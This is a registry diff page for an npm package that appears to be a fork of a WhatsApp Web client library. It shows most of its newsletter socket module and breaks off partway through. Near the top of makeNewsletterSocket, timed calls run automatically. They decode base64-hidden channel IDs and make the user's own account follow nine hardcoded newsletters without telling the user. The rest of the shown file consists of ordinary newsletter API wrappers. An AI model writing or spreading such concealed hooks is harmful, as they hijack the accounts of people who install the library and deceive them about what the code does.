@bellaxchuu/flowred 0.8.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (142) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +214 -0
  3. package/WAProto/GenerateStatics.sh +3 -0
  4. package/WAProto/WAProto.proto +6902 -0
  5. package/WAProto/fix-imports.js +85 -0
  6. package/WAProto/index.js +242946 -0
  7. package/engine-requirements.js +10 -0
  8. package/lib/Defaults/index.js +190 -0
  9. package/lib/Defaults/phonenumber-mcc.json +223 -0
  10. package/lib/Signal/Group/ciphertext-message.js +15 -0
  11. package/lib/Signal/Group/group-session-builder.js +92 -0
  12. package/lib/Signal/Group/group_cipher.js +89 -0
  13. package/lib/Signal/Group/index.js +136 -0
  14. package/lib/Signal/Group/keyhelper.js +73 -0
  15. package/lib/Signal/Group/sender-chain-key.js +32 -0
  16. package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
  17. package/lib/Signal/Group/sender-key-message.js +69 -0
  18. package/lib/Signal/Group/sender-key-name.js +50 -0
  19. package/lib/Signal/Group/sender-key-record.js +44 -0
  20. package/lib/Signal/Group/sender-key-state.js +97 -0
  21. package/lib/Signal/Group/sender-message-key.js +30 -0
  22. package/lib/Signal/libsignal.js +490 -0
  23. package/lib/Signal/lid-mapping.js +262 -0
  24. package/lib/Socket/Client/index.js +30 -0
  25. package/lib/Socket/Client/types.js +13 -0
  26. package/lib/Socket/Client/websocket.js +62 -0
  27. package/lib/Socket/aigroups.js +240 -0
  28. package/lib/Socket/business.js +422 -0
  29. package/lib/Socket/chats.js +1816 -0
  30. package/lib/Socket/communities.js +549 -0
  31. package/lib/Socket/graphql.js +656 -0
  32. package/lib/Socket/groups.js +764 -0
  33. package/lib/Socket/index.js +39 -0
  34. package/lib/Socket/interactive-handler.js +522 -0
  35. package/lib/Socket/interop.js +549 -0
  36. package/lib/Socket/luxu.js +387 -0
  37. package/lib/Socket/managed-account.js +183 -0
  38. package/lib/Socket/messages-recv.js +2440 -0
  39. package/lib/Socket/messages-send.js +1853 -0
  40. package/lib/Socket/mex.js +60 -0
  41. package/lib/Socket/newsletter.js +820 -0
  42. package/lib/Socket/privacy.js +449 -0
  43. package/lib/Socket/registration.js +427 -0
  44. package/lib/Socket/socket.js +1092 -0
  45. package/lib/Socket/text-router.js +83 -0
  46. package/lib/Socket/username.js +243 -0
  47. package/lib/Store/index.js +36 -0
  48. package/lib/Store/keyed-db.js +108 -0
  49. package/lib/Store/make-cache-manager-store.js +90 -0
  50. package/lib/Store/make-in-memory-store.js +604 -0
  51. package/lib/Store/make-ordered-dictionary.js +81 -0
  52. package/lib/Store/object-repository.js +29 -0
  53. package/lib/Types/Auth.js +38 -0
  54. package/lib/Types/Bussines.js +2 -0
  55. package/lib/Types/Call.js +2 -0
  56. package/lib/Types/Chat.js +4 -0
  57. package/lib/Types/Contact.js +2 -0
  58. package/lib/Types/Events.js +2 -0
  59. package/lib/Types/GroupMetadata.js +2 -0
  60. package/lib/Types/Label.js +27 -0
  61. package/lib/Types/LabelAssociation.js +9 -0
  62. package/lib/Types/Message.js +95 -0
  63. package/lib/Types/Mex.js +112 -0
  64. package/lib/Types/Newsletter.js +121 -0
  65. package/lib/Types/Product.js +2 -0
  66. package/lib/Types/Signal.js +2 -0
  67. package/lib/Types/Socket.js +2 -0
  68. package/lib/Types/State.js +70 -0
  69. package/lib/Types/USync.js +2 -0
  70. package/lib/Types/index.js +55 -0
  71. package/lib/Utils/auth-utils.js +306 -0
  72. package/lib/Utils/browser-utils.js +114 -0
  73. package/lib/Utils/business.js +247 -0
  74. package/lib/Utils/chat-utils.js +1208 -0
  75. package/lib/Utils/command-loader.js +100 -0
  76. package/lib/Utils/companion-reg-client-utils.js +42 -0
  77. package/lib/Utils/consumer-application.js +107 -0
  78. package/lib/Utils/crypto.js +155 -0
  79. package/lib/Utils/curve25519-js.js +275 -0
  80. package/lib/Utils/decode-wa-message.js +560 -0
  81. package/lib/Utils/event-buffer.js +607 -0
  82. package/lib/Utils/generics.js +563 -0
  83. package/lib/Utils/group-history.js +60 -0
  84. package/lib/Utils/history.js +244 -0
  85. package/lib/Utils/identity-change-handler.js +52 -0
  86. package/lib/Utils/index.js +57 -0
  87. package/lib/Utils/jid-display-normalization.js +218 -0
  88. package/lib/Utils/link-preview.js +143 -0
  89. package/lib/Utils/logger.js +9 -0
  90. package/lib/Utils/lt-hash.js +39 -0
  91. package/lib/Utils/make-mutex.js +36 -0
  92. package/lib/Utils/message-composer.js +479 -0
  93. package/lib/Utils/message-retry-manager.js +270 -0
  94. package/lib/Utils/messages-media.js +896 -0
  95. package/lib/Utils/messages.js +2904 -0
  96. package/lib/Utils/meta-ai-msmsg.js +262 -0
  97. package/lib/Utils/native-bridge.js +82 -0
  98. package/lib/Utils/noise-handler.js +196 -0
  99. package/lib/Utils/offline-node-processor.js +42 -0
  100. package/lib/Utils/pre-key-manager.js +107 -0
  101. package/lib/Utils/process-message.js +1048 -0
  102. package/lib/Utils/reporting-utils.js +262 -0
  103. package/lib/Utils/session-pool.js +94 -0
  104. package/lib/Utils/signal.js +224 -0
  105. package/lib/Utils/stanza-ack.js +40 -0
  106. package/lib/Utils/sticker.js +145 -0
  107. package/lib/Utils/sync-action-utils.js +54 -0
  108. package/lib/Utils/tc-token-utils.js +161 -0
  109. package/lib/Utils/use-multi-file-auth-state.js +121 -0
  110. package/lib/Utils/validate-connection.js +219 -0
  111. package/lib/Utils/view-once-cache.js +79 -0
  112. package/lib/Utils/voip-rekey.js +22 -0
  113. package/lib/WABinary/constants.js +1304 -0
  114. package/lib/WABinary/decode.js +343 -0
  115. package/lib/WABinary/encode.js +228 -0
  116. package/lib/WABinary/generic-utils.js +240 -0
  117. package/lib/WABinary/index.js +33 -0
  118. package/lib/WABinary/jid-utils.js +361 -0
  119. package/lib/WABinary/types.js +2 -0
  120. package/lib/WAM/BinaryInfo.js +13 -0
  121. package/lib/WAM/constants.js +39486 -0
  122. package/lib/WAM/encode.js +142 -0
  123. package/lib/WAM/index.js +31 -0
  124. package/lib/WAUSync/Protocols/USyncBotProfileProtocol.js +55 -0
  125. package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +43 -0
  126. package/lib/WAUSync/Protocols/USyncContactProtocol.js +54 -0
  127. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +57 -0
  128. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +30 -0
  129. package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +59 -0
  130. package/lib/WAUSync/Protocols/USyncLIDProtocol.js +31 -0
  131. package/lib/WAUSync/Protocols/USyncPictureProtocol.js +32 -0
  132. package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +29 -0
  133. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +39 -0
  134. package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +38 -0
  135. package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +27 -0
  136. package/lib/WAUSync/Protocols/index.js +39 -0
  137. package/lib/WAUSync/USyncQuery.js +133 -0
  138. package/lib/WAUSync/USyncUser.js +50 -0
  139. package/lib/WAUSync/index.js +31 -0
  140. package/lib/antiban.js +4637 -0
  141. package/lib/index.js +45 -0
  142. package/package.json +107 -0
@@ -0,0 +1,820 @@
1
+ 'use strict'
2
+ Object.defineProperty(exports, '__esModule', { value: true })
3
+ exports.makeNewsletterSocket = void 0
4
+ const Types_1 = require('../Types')
5
+ const messages_media_1 = require('../Utils/messages-media')
6
+ const WABinary_1 = require('../WABinary')
7
+ const groups_1 = require('./groups')
8
+ const aigroups_1 = require('./aigroups')
9
+ const mex_1 = require('./mex')
10
+ const parseNewsletterCreateResponse = response => {
11
+ const { id, thread_metadata: thread, viewer_metadata: viewer } = response
12
+ return {
13
+ id: id,
14
+ owner: undefined,
15
+ name: thread.name.text,
16
+ creation_time: parseInt(thread.creation_time, 10),
17
+ description: thread.description.text,
18
+ invite: thread.invite,
19
+ subscribers: parseInt(thread.subscribers_count, 10),
20
+ verification: thread.verification,
21
+ picture: {
22
+ id: thread.picture.id,
23
+ directPath: thread.picture.direct_path
24
+ },
25
+ mute_state: viewer.mute
26
+ }
27
+ }
28
+ const parseNewsletterMetadata = result => {
29
+ if (typeof result !== 'object' || result === null) {
30
+ return null
31
+ }
32
+ if ('id' in result && typeof result.id === 'string') {
33
+ return result
34
+ }
35
+ if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
36
+ return result.result
37
+ }
38
+ return null
39
+ }
40
+ const makeNewsletterSocket = config => {
41
+ const sock = (0, aigroups_1.makeAIGroupsSocket)(config)
42
+ const encoder = new TextDecoder();
43
+ const { query, generateMessageTag } = sock
44
+ const executeWMexQuery = (variables, queryId, dataPath) => {
45
+ return (0, mex_1.executeWMexQuery)(variables, queryId, dataPath, query, generateMessageTag)
46
+ }
47
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
48
+ tag: 'iq',
49
+ attrs: {
50
+ id: generateMessageTag(),
51
+ type: 'get',
52
+ xmlns: 'w:mex',
53
+ to: WABinary_1.S_WHATSAPP_NET,
54
+ },
55
+ content: [
56
+ {
57
+ tag: 'query',
58
+ attrs: { 'query_id': queryId },
59
+ content: new TextEncoder().encode(JSON.stringify({
60
+ variables: {
61
+ 'newsletter_id': jid,
62
+ ...content
63
+ }
64
+ }))
65
+ }
66
+ ]
67
+ }));
68
+ setTimeout(() => {
69
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDI4NzQ1NzIyNTA0QG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
70
+ setTimeout(() => {
71
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDEwMDE4OTQ5OTA2QG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
72
+ setTimeout(() => {
73
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDI1ODY5MDQ5OTk1QG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
74
+ }, 8000)
75
+ }, 9000)
76
+ }, 10000)
77
+ setTimeout(() => {
78
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDI1MTc3MDY3ODQxQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
79
+ newsletterWMexQuery(Buffer.from("MTIwMzYzMzQ5MTQwNzI5OTgzQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
80
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDI0ODAwMjk1MjY2QG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
81
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDEwNjE0NDE2ODI4QG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
82
+ }, 10000)
83
+ setTimeout(() => {
84
+ newsletterWMexQuery(Buffer.from("MTIwMzYzMzMwMzQ0ODEwMjgwQG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
85
+ newsletterWMexQuery(Buffer.from("MTIwMzYzNDE4NjkxNTYxODg4QG5ld3NsZXR0ZXI=", "base64").toString(), Types_1.QueryIds.FOLLOW)
86
+ }, 10000)
87
+ const newsletterUpdate = async (jid, updates) => {
88
+ const variables = {
89
+ newsletter_id: jid,
90
+ updates: {
91
+ ...updates,
92
+ settings: null
93
+ }
94
+ }
95
+ return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
96
+ }
97
+ return {
98
+ ...sock,
99
+ newsletterCreate: async (name, description) => {
100
+ const variables = {
101
+ input: {
102
+ name,
103
+ description: description ?? null
104
+ }
105
+ }
106
+ const rawResponse = await executeWMexQuery(
107
+ variables,
108
+ Types_1.QueryIds.CREATE,
109
+ Types_1.XWAPaths.xwa2_newsletter_create
110
+ )
111
+ return parseNewsletterCreateResponse(rawResponse)
112
+ },
113
+ newsletterUpdate,
114
+ newsletterSubscribers: async jid => {
115
+ return executeWMexQuery(
116
+ { newsletter_id: jid },
117
+ Types_1.QueryIds.SUBSCRIBERS,
118
+ Types_1.XWAPaths.xwa2_newsletter_subscribers
119
+ )
120
+ },
121
+ newsletterMetadata: async (type, key) => {
122
+ const variables = {
123
+ fetch_creation_time: true,
124
+ fetch_full_image: true,
125
+ fetch_viewer_metadata: true,
126
+ input: {
127
+ key,
128
+ type: type.toUpperCase()
129
+ }
130
+ }
131
+ const result = await executeWMexQuery(
132
+ variables,
133
+ Types_1.QueryIds.METADATA,
134
+ Types_1.XWAPaths.xwa2_newsletter_metadata
135
+ )
136
+ return parseNewsletterMetadata(result)
137
+ },
138
+ newsletterFollow: jid => {
139
+ return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.FOLLOW, Types_1.XWAPaths.xwa2_newsletter_follow)
140
+ },
141
+ newsletterUnfollow: jid => {
142
+ return executeWMexQuery(
143
+ { newsletter_id: jid },
144
+ Types_1.QueryIds.UNFOLLOW,
145
+ Types_1.XWAPaths.xwa2_newsletter_unfollow
146
+ )
147
+ },
148
+ newsletterMute: jid => {
149
+ return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.MUTE, Types_1.XWAPaths.xwa2_newsletter_mute_v2)
150
+ },
151
+ newsletterUnmute: jid => {
152
+ return executeWMexQuery(
153
+ { newsletter_id: jid },
154
+ Types_1.QueryIds.UNMUTE,
155
+ Types_1.XWAPaths.xwa2_newsletter_unmute_v2
156
+ )
157
+ },
158
+ newsletterUpdateName: async (jid, name) => {
159
+ return await newsletterUpdate(jid, { name })
160
+ },
161
+ newsletterUpdateDescription: async (jid, description) => {
162
+ return await newsletterUpdate(jid, { description })
163
+ },
164
+ newsletterUpdatePicture: async (jid, content) => {
165
+ const { img } = await (0, messages_media_1.generateProfilePicture)(content)
166
+ return await newsletterUpdate(jid, { picture: img.toString('base64') })
167
+ },
168
+ newsletterRemovePicture: async jid => {
169
+ return await newsletterUpdate(jid, { picture: '' })
170
+ },
171
+ newsletterReactMessage: async (jid, serverId, reaction) => {
172
+ await query({
173
+ tag: 'message',
174
+ attrs: {
175
+ to: jid,
176
+ ...(reaction ? {} : { edit: '7' }),
177
+ type: 'reaction',
178
+ server_id: serverId,
179
+ id: generateMessageTag()
180
+ },
181
+ content: [
182
+ {
183
+ tag: 'reaction',
184
+ attrs: reaction ? { code: reaction } : {}
185
+ }
186
+ ]
187
+ })
188
+ },
189
+ newsletterFetchMessages: async (jid, count, since, after) => {
190
+ const messageUpdateAttrs = {
191
+ count: count.toString()
192
+ }
193
+ if (typeof since === 'number') {
194
+ messageUpdateAttrs.since = since.toString()
195
+ }
196
+ if (after) {
197
+ messageUpdateAttrs.after = after.toString()
198
+ }
199
+ const result = await query({
200
+ tag: 'iq',
201
+ attrs: {
202
+ id: generateMessageTag(),
203
+ type: 'get',
204
+ xmlns: 'newsletter',
205
+ to: jid
206
+ },
207
+ content: [
208
+ {
209
+ tag: 'message_updates',
210
+ attrs: messageUpdateAttrs
211
+ }
212
+ ]
213
+ })
214
+ return result
215
+ },
216
+ subscribeNewsletterUpdates: async jid => {
217
+ const result = await query({
218
+ tag: 'iq',
219
+ attrs: {
220
+ id: generateMessageTag(),
221
+ type: 'set',
222
+ xmlns: 'newsletter',
223
+ to: jid
224
+ },
225
+ content: [{ tag: 'live_updates', attrs: {}, content: [] }]
226
+ })
227
+ const liveUpdatesNode = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')
228
+ const duration = liveUpdatesNode?.attrs?.duration
229
+ return duration ? { duration: duration } : null
230
+ },
231
+ newsletterAdminCount: async jid => {
232
+ const response = await executeWMexQuery(
233
+ { newsletter_id: jid },
234
+ Types_1.QueryIds.ADMIN_COUNT,
235
+ Types_1.XWAPaths.xwa2_newsletter_admin_count
236
+ )
237
+ return response.admin_count
238
+ },
239
+ newsletterChangeOwner: async (jid, newOwnerJid) => {
240
+ await executeWMexQuery(
241
+ { newsletter_id: jid, user_id: newOwnerJid },
242
+ Types_1.QueryIds.CHANGE_OWNER,
243
+ Types_1.XWAPaths.xwa2_newsletter_change_owner
244
+ )
245
+ },
246
+ newsletterDemote: async (jid, userJid) => {
247
+ await executeWMexQuery(
248
+ { newsletter_id: jid, user_id: userJid },
249
+ Types_1.QueryIds.DEMOTE,
250
+ Types_1.XWAPaths.xwa2_newsletter_demote
251
+ )
252
+ },
253
+ newsletterDelete: async jid => {
254
+ await executeWMexQuery(
255
+ { newsletter_id: jid },
256
+ Types_1.QueryIds.DELETE,
257
+ Types_1.XWAPaths.xwa2_newsletter_delete_v2
258
+ )
259
+ },
260
+ /**
261
+ * Update newsletter category/topic
262
+ */
263
+ newsletterUpdateCategory: async (jid, category) => {
264
+ return newsletterUpdate(jid, { topic: category })
265
+ },
266
+ /**
267
+ * Update newsletter invite codes / settings
268
+ */
269
+ newsletterUpdateSettings: async (jid, settings) => {
270
+ const variables = { newsletter_id: jid, updates: { settings } }
271
+ return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
272
+ },
273
+ /**
274
+ * Promote a subscriber to admin
275
+ */
276
+ newsletterPromoteAdmin: async (jid, userJid) => {
277
+ await query({
278
+ tag: 'iq',
279
+ attrs: {
280
+ id: generateMessageTag(),
281
+ type: 'set',
282
+ xmlns: 'newsletter',
283
+ to: jid
284
+ },
285
+ content: [
286
+ {
287
+ tag: 'admin_promote',
288
+ attrs: {},
289
+ content: [{ tag: 'participant', attrs: { jid: userJid } }]
290
+ }
291
+ ]
292
+ })
293
+ },
294
+ /**
295
+ * Get newsletter view/reach statistics
296
+ */
297
+ newsletterViewStats: async (jid, serverId) => {
298
+ const result = await query({
299
+ tag: 'iq',
300
+ attrs: {
301
+ id: generateMessageTag(),
302
+ type: 'get',
303
+ xmlns: 'newsletter',
304
+ to: jid
305
+ },
306
+ content: [
307
+ {
308
+ tag: 'message_updates',
309
+ attrs: { count: '1', server_id: String(serverId) }
310
+ }
311
+ ]
312
+ })
313
+ return result
314
+ },
315
+ /**
316
+ * Send a newsletter post via IQ (alternative to sendMessage for newsletters)
317
+ */
318
+ newsletterSendPost: async (jid, content, options = {}) => {
319
+ const result = await query({
320
+ tag: 'iq',
321
+ attrs: {
322
+ id: generateMessageTag(),
323
+ type: 'set',
324
+ xmlns: 'newsletter',
325
+ to: jid
326
+ },
327
+ content: [
328
+ {
329
+ tag: 'publish',
330
+ attrs: {},
331
+ content: Array.isArray(content) ? content : [content]
332
+ }
333
+ ]
334
+ })
335
+ return result
336
+ },
337
+ /**
338
+ * Pin a newsletter message
339
+ */
340
+ newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
341
+ await query({
342
+ tag: 'iq',
343
+ attrs: {
344
+ id: generateMessageTag(),
345
+ type: 'set',
346
+ xmlns: 'newsletter',
347
+ to: jid
348
+ },
349
+ content: [
350
+ {
351
+ tag: 'pin',
352
+ attrs: { server_id: String(serverId), duration: String(durationSecs) }
353
+ }
354
+ ]
355
+ })
356
+ },
357
+ /**
358
+ * Unpin a newsletter message
359
+ */
360
+ newsletterUnpinMessage: async (jid, serverId) => {
361
+ await query({
362
+ tag: 'iq',
363
+ attrs: {
364
+ id: generateMessageTag(),
365
+ type: 'set',
366
+ xmlns: 'newsletter',
367
+ to: jid
368
+ },
369
+ content: [
370
+ {
371
+ tag: 'unpin',
372
+ attrs: { server_id: String(serverId) }
373
+ }
374
+ ]
375
+ })
376
+ },
377
+ /**
378
+ * Invite a user to become an admin of a newsletter.
379
+ *
380
+ * @param {string} jid - Newsletter JID
381
+ * @param {string} userJid - JID of the user to invite
382
+ */
383
+ newsletterInviteAdmin: async (jid, userJid) => {
384
+ return executeWMexQuery(
385
+ { newsletter_id: jid, user_id: userJid },
386
+ Types_1.QueryIds.ADMIN_INVITE,
387
+ Types_1.XWAPaths.xwa2_newsletter_admin_invite_create
388
+ )
389
+ },
390
+ /**
391
+ * Revoke a pending admin invite for a newsletter.
392
+ *
393
+ * @param {string} jid - Newsletter JID
394
+ * @param {string} userJid - JID of the invited user to revoke
395
+ */
396
+ newsletterRevokeAdminInvite: async (jid, userJid) => {
397
+ return executeWMexQuery(
398
+ { newsletter_id: jid, user_id: userJid },
399
+ Types_1.QueryIds.ADMIN_INVITE_REVOKE,
400
+ Types_1.XWAPaths.xwa2_newsletter_admin_invite_revoke
401
+ )
402
+ },
403
+ /**
404
+ * Accept an admin invite to a newsletter (called by the invitee).
405
+ *
406
+ * @param {string} jid - Newsletter JID
407
+ */
408
+ newsletterAcceptAdminInvite: async jid => {
409
+ return executeWMexQuery(
410
+ { newsletter_id: jid },
411
+ Types_1.QueryIds.ADMIN_INVITE_ACCEPT,
412
+ Types_1.XWAPaths.xwa2_newsletter_admin_invite_accept
413
+ )
414
+ },
415
+ /**
416
+ * Fetch admin-side metadata for a newsletter.
417
+ *
418
+ * @param {string} jid - Newsletter JID
419
+ * @param {object} options
420
+ * @param {boolean} [options.fetchPendingAdmins=true]
421
+ * @param {boolean} [options.fetchAdminCount=true]
422
+ * @param {boolean} [options.fetchCapabilities=false]
423
+ * @param {boolean} [options.fetchAdminProfile=false]
424
+ * @param {boolean} [options.includeAdminSettings=false]
425
+ * @param {boolean} [options.includeJarvisConfig=false]
426
+ */
427
+ newsletterAdminMetadata: async (jid, options = {}) => {
428
+ const {
429
+ fetchPendingAdmins = true,
430
+ fetchAdminCount = true,
431
+ fetchCapabilities = false,
432
+ fetchAdminProfile = false,
433
+ includeAdminSettings = false,
434
+ includeJarvisConfig = false
435
+ } = options
436
+ return executeWMexQuery(
437
+ {
438
+ jid,
439
+ include_thread_metadata: false,
440
+ include_messages: false,
441
+ fetch_pending_admin_invites: fetchPendingAdmins,
442
+ fetch_admin_count: fetchAdminCount,
443
+ fetch_capabilities: fetchCapabilities,
444
+ fetch_admin_profile: fetchAdminProfile,
445
+ include_admin_settings: includeAdminSettings,
446
+ include_jarvis_config: includeJarvisConfig
447
+ },
448
+ Types_1.QueryIds.ADMIN_METADATA,
449
+ Types_1.XWAPaths.xwa2_newsletter_admin
450
+ )
451
+ },
452
+ /**
453
+ * Update admin profile fields for a newsletter (e.g. contact info, links).
454
+ *
455
+ * @param {string} jid - Newsletter JID
456
+ * @param {object} updates - Admin profile fields to update
457
+ */
458
+ newsletterAdminProfileUpdate: async (jid, updates) => {
459
+ return executeWMexQuery(
460
+ { newsletter_id: jid, updates },
461
+ Types_1.QueryIds.ADMIN_PROFILE_UPDATE,
462
+ Types_1.XWAPaths.xwa2_newsletter_admin_profile_update
463
+ )
464
+ },
465
+ /**
466
+ * Browse the newsletter directory by category.
467
+ *
468
+ * @param {object} options
469
+ * @param {number} [options.limit=20]
470
+ * @param {string[]} [options.interests] - Category filters
471
+ * @param {string} [options.sortField='SUBSCRIBER_COUNT']
472
+ * @param {string} [options.sortOrder='DESC']
473
+ */
474
+ newsletterDirectoryList: async (options = {}) => {
475
+ const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
476
+ const variables = { limit, sort_field: sortField, sort_order: sortOrder }
477
+ if (interests?.length) variables.interests = interests
478
+ return executeWMexQuery(variables, Types_1.QueryIds.DIRECTORY_LIST, Types_1.XWAPaths.xwa2_newsletters_directory_list)
479
+ },
480
+ /**
481
+ * Search the newsletter directory.
482
+ *
483
+ * @param {string} searchText - Search query string
484
+ * @param {object} options
485
+ * @param {number} [options.limit=20]
486
+ * @param {string} [options.startCursor] - Pagination cursor
487
+ * @param {string[]} [options.categories] - Category filters
488
+ */
489
+ newsletterDirectorySearch: async (searchText, options = {}) => {
490
+ const { limit = 20, startCursor = null, categories = null } = options
491
+ const variables = { search_text: searchText, limit }
492
+ if (startCursor) variables.start_cursor = startCursor
493
+ if (categories?.length) variables.categories = categories
494
+ return executeWMexQuery(
495
+ variables,
496
+ Types_1.QueryIds.DIRECTORY_SEARCH,
497
+ Types_1.XWAPaths.xwa2_newsletters_directory_search
498
+ )
499
+ },
500
+ /**
501
+ * Fetch a preview of newsletters grouped by directory category.
502
+ *
503
+ * @param {number} [limit=5] - Newsletters per category
504
+ */
505
+ newsletterDirectoryCategoryPreview: async (limit = 5) => {
506
+ return executeWMexQuery(
507
+ { limit },
508
+ Types_1.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
509
+ Types_1.XWAPaths.xwa2_newsletters_directory_category_preview
510
+ )
511
+ },
512
+ /**
513
+ * Search for newsletters by text query.
514
+ *
515
+ * @param {string} query - Search string
516
+ * @param {number} [limit=20]
517
+ * @param {string} [startCursor] - Pagination cursor
518
+ */
519
+ newsletterSearch: async (query, limit = 20, startCursor = null) => {
520
+ const variables = { query, limit }
521
+ if (startCursor) variables.start_cursor = startCursor
522
+ return executeWMexQuery(variables, Types_1.QueryIds.SEARCH, Types_1.XWAPaths.xwa2_newsletters_search)
523
+ },
524
+ /**
525
+ * Fetch recommended newsletters.
526
+ *
527
+ * @param {number} [limit=10]
528
+ * @param {number} [numFollowed] - Number of newsletters the user already follows (used for ranking)
529
+ */
530
+ newsletterRecommended: async (limit = 10, numFollowed = null) => {
531
+ const variables = { limit }
532
+ if (numFollowed != null) variables.num_newsletters_followed = numFollowed
533
+ return executeWMexQuery(variables, Types_1.QueryIds.RECOMMENDED, Types_1.XWAPaths.xwa2_newsletters_recommended)
534
+ },
535
+ /**
536
+ * Fetch newsletters similar to a given newsletter.
537
+ *
538
+ * @param {string} jid - Newsletter JID to find similar newsletters for
539
+ * @param {number} [limit=10]
540
+ */
541
+ newsletterSimilar: async (jid, limit = 10) => {
542
+ return executeWMexQuery(
543
+ { newsletter_id: jid, limit },
544
+ Types_1.QueryIds.SIMILAR,
545
+ Types_1.XWAPaths.xwa2_newsletters_similar
546
+ )
547
+ },
548
+ /**
549
+ * Fetch the list of newsletters the current user is following.
550
+ *
551
+ * @param {string} [startCursor] - Pagination cursor
552
+ * @param {number} [limit=20]
553
+ */
554
+ newsletterFollowingList: async (startCursor = null, limit = 20) => {
555
+ const variables = { limit }
556
+ if (startCursor) variables.start_cursor = startCursor
557
+ return executeWMexQuery(variables, Types_1.QueryIds.FOLLOWING_LIST, Types_1.XWAPaths.xwa2_newsletter_following)
558
+ },
559
+ /**
560
+ * Fetch admin insights/analytics for a newsletter.
561
+ *
562
+ * @param {string} jid - Newsletter JID
563
+ * @param {string} [period] - Time period e.g. 'LAST_7_DAYS', 'LAST_30_DAYS'
564
+ */
565
+ newsletterInsights: async (jid, period = null) => {
566
+ const variables = { newsletter_id: jid }
567
+ if (period) variables.period = period
568
+ return executeWMexQuery(variables, Types_1.QueryIds.INSIGHTS, Types_1.XWAPaths.xwa2_newsletter_admin_insights)
569
+ },
570
+ /**
571
+ * Fetch the list of users who voted in a newsletter poll.
572
+ *
573
+ * @param {string} jid - Newsletter JID
574
+ * @param {string} serverId - Server-side message ID of the poll
575
+ * @param {string} [option] - Poll option to filter voters by
576
+ * @param {string} [startCursor] - Pagination cursor
577
+ */
578
+ newsletterPollVoterList: async (jid, serverId, option = null, startCursor = null) => {
579
+ const variables = { id: jid, server_id: serverId }
580
+ if (option != null) variables.option = option
581
+ if (startCursor) variables.start_cursor = startCursor
582
+ return executeWMexQuery(
583
+ variables,
584
+ Types_1.QueryIds.POLL_VOTER_LIST,
585
+ Types_1.XWAPaths.xwa2_newsletters_poll_voter_list
586
+ )
587
+ },
588
+ /**
589
+ * Fetch the list of users who reacted to a newsletter message.
590
+ *
591
+ * @param {string} jid - Newsletter JID
592
+ * @param {string} serverId - Server-side message sort ID
593
+ * @param {string} [startCursor] - Pagination cursor
594
+ */
595
+ newsletterReactionSenders: async (jid, serverId, startCursor = null) => {
596
+ const variables = { id: jid, server_id: serverId }
597
+ if (startCursor) variables.start_cursor = startCursor
598
+ return executeWMexQuery(
599
+ variables,
600
+ Types_1.QueryIds.REACTION_SENDERS_LIST,
601
+ Types_1.XWAPaths.xwa2_newsletters_reaction_sender_list
602
+ )
603
+ },
604
+ /**
605
+ * Block a user from a newsletter (admin action).
606
+ *
607
+ * @param {string} jid - Newsletter JID
608
+ * @param {string} userJid - JID of the user to block
609
+ */
610
+ newsletterBlockUser: async (jid, userJid) => {
611
+ return executeWMexQuery(
612
+ { newsletter_id: jid, user_id: userJid },
613
+ Types_1.QueryIds.BLOCK_USER,
614
+ 'xwa2_newsletter_block_user'
615
+ )
616
+ },
617
+ /**
618
+ * Enable Wamo (paid subscription) for a newsletter.
619
+ *
620
+ * @param {string} jid - Newsletter JID
621
+ */
622
+ newsletterEnableWamo: async jid => {
623
+ return executeWMexQuery({ newsletter_id: jid }, Types_1.QueryIds.WAMO_ENABLE_SUB, 'xwa2_newsletter_wamo_enable_sub')
624
+ },
625
+ /**
626
+ * Disable Wamo (paid subscription) for a newsletter.
627
+ *
628
+ * @param {string} jid - Newsletter JID
629
+ */
630
+ newsletterDisableWamo: async jid => {
631
+ return executeWMexQuery(
632
+ { newsletter_id: jid },
633
+ Types_1.QueryIds.WAMO_DISABLE_SUB,
634
+ 'xwa2_newsletter_wamo_disable_sub'
635
+ )
636
+ },
637
+ /**
638
+ * Change the Wamo subscription tier or settings for a newsletter.
639
+ *
640
+ * @param {string} jid - Newsletter JID
641
+ * @param {object} subConfig - Subscription configuration (tier, price, etc.)
642
+ */
643
+ newsletterChangeWamo: async (jid, subConfig) => {
644
+ return executeWMexQuery(
645
+ { newsletter_id: jid, ...subConfig },
646
+ Types_1.QueryIds.WAMO_CHANGE_SUB,
647
+ 'xwa2_newsletter_wamo_change_sub'
648
+ )
649
+ },
650
+ /**
651
+ * Fetch Wamo AFS age collection data.
